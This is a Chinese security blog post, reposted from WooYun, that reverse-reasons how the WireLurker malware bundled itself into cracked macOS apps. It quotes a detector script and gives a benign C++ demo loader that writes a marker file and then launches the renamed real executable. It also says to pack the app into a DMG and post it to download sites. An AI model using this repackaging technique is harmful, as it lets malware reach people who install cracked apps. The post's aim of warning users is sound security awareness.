【WireLurker的提示】MacOS恶意APP捆绑方式猜测与实现

昨天因为WireLurker,导致MacHook以及国内几个第三方APP下载站火了,Mac下的黑色产业链也逐渐浮现在公众视线。其实我本人一直比较怀疑第三方APP下载站提供的APP安全性,是否有类似EXE捆绑方式寄生在破解APP上的恶意程序,是不是很高级很难实现的patch技术?这些都不得而知。

但昨天WireLurker被媒体曝光后,有人给出了一段自查脚本引起了我的注意,WireLurkerDetector

特别是其中这个函数

def is_app_infected(root):
try:
pl = plistlib.readPlist(os.path.join(root, ‘Contents’, ‘Info.plist’))
be = pl[‘CFBundleExecutable’]
bundle_exec = os.path.join(root, ‘Contents’, ‘MacOS’, be)
bundle_exec_ = bundle_exec + ‘_’
if is_file_hidden(bundle_exec) and is_file_hidden(bundle_exec_):
return True

the_script = os.path.join(root, ‘Contents’, ‘Resources’, ‘start.sh’)
print the_script
the_pack = os.path.join(root, ‘Contents’, ‘Resources’, ‘FontMap1.cfg’)
if is_file_hidden(the_script) and is_file_hidden(the_pack):
return True

return False

except Exception:
return False

一般人会觉得这就是个检查文件隐藏属性的功能而已,但白帽子的直觉告诉我这正是WireLurker所使用的“寄生”技巧,关键的代码就在上半部分:

pl = plistlib.readPlist(os.path.join(root, ‘Contents’, ‘Info.plist’))
be = pl[‘CFBundleExecutable’]  –>  获取执行文件名
bundle_exec = os.path.join(root, ‘Contents’, ‘MacOS’, be)
bundle_exec_ = bundle_exec + ‘_’  –>  检查带有下划线的文件名干嘛,莫非是有个恶意的loader?

Mac用户都知道,其实OS X下的APP就是一个特殊的文件夹,有个APP的后缀,目录结构大概是这样:

_CodeSignature, CodeResources  ->  APP数字签名,防篡改等
Info.plist  ->  APP初始初始信息
Frameworks  ->  第三方的库程序
MacOS  -> 可执行程序目录(就是“App”的本体程序,一个或多个)
PkgInfo  ->  创建者签名
Resources  ->  程序资源目录

其中Info.plist里面的CFBundleExecutable键值记录了默认执行的程序名称,比如我本地一个小型16进制编辑软件(0xED)的就是

exec.png

你说懂了,直接修改这里指向恶意程序就好了,其实也没那么容易,那样太明显了直接引起用户怀疑,如何实现既注入了恶意代码,又能正常运行程序呢?就是前面我提到的loader方式,执行完恶意程序后在启动正常的APP,天衣无缝。因为没有WireLurker的样本,只能黑箱重现,用Xcode简单做了个Demo。

#include <fstream>
#include <iostream>
#include <unistd.h>

using namespace std;

int main()
{
char s[1024];
char a[7] = “/0xED_”;  //真正的Mac App实体
getcwd(s, 1024);
//std::cout << s;
strcat(s,a);

ofstream out(“/tmp/Hacked.txt”);
out << s << endl;
out.close();

//其实上面做了很多就是想自动获取当前APP目录,但最终居然是空值,所以。。。偷懒啦
system( “/Applications/0xED.app/Contents/MacOS/0xED_” );
return 0;
}

没运行APP前
➜  /tmp  $ ls -l /tmp/*.txt
zsh: no matches found: /tmp/*.txt

运行APP后,APP正确执行
bash.png

最后将整个APP目录打包至DMG文件,发布到第三方下载站去吧。

PS:以上是最简单的也是人人都能实现的恶意Mac App实现方法,所以经常下破解App的伙伴谨慎些吧,制造/二次打包恶意APP成本非常的低,就像越狱后的iPhone样,使用破解就代表你主动放弃了OS一些合法APP的校验与保护,无论系统怎样提示挽救你,最终你还是会执行他。

原文转自:http://zone.wooyun.org/content/16338,作者【疯狗】

一直以为IOS不越狱,就会极度的安全,但是没想到还能被玩的这么转,各位以后安装APP的时候,还是需要选择性的去安装,避免一些第三方的源非常有必要。借助zone社区liver大牛的原话:

livers

是的,如果是ipad平板类型的,只玩玩游戏,没有照片什么的,可以选择性的去pp助手等第三方源安装,如果比较重视个人隐私的话,还是选择性的安装吧:)



发表评论

电子邮件地址不会被公开。 必填项已用*标注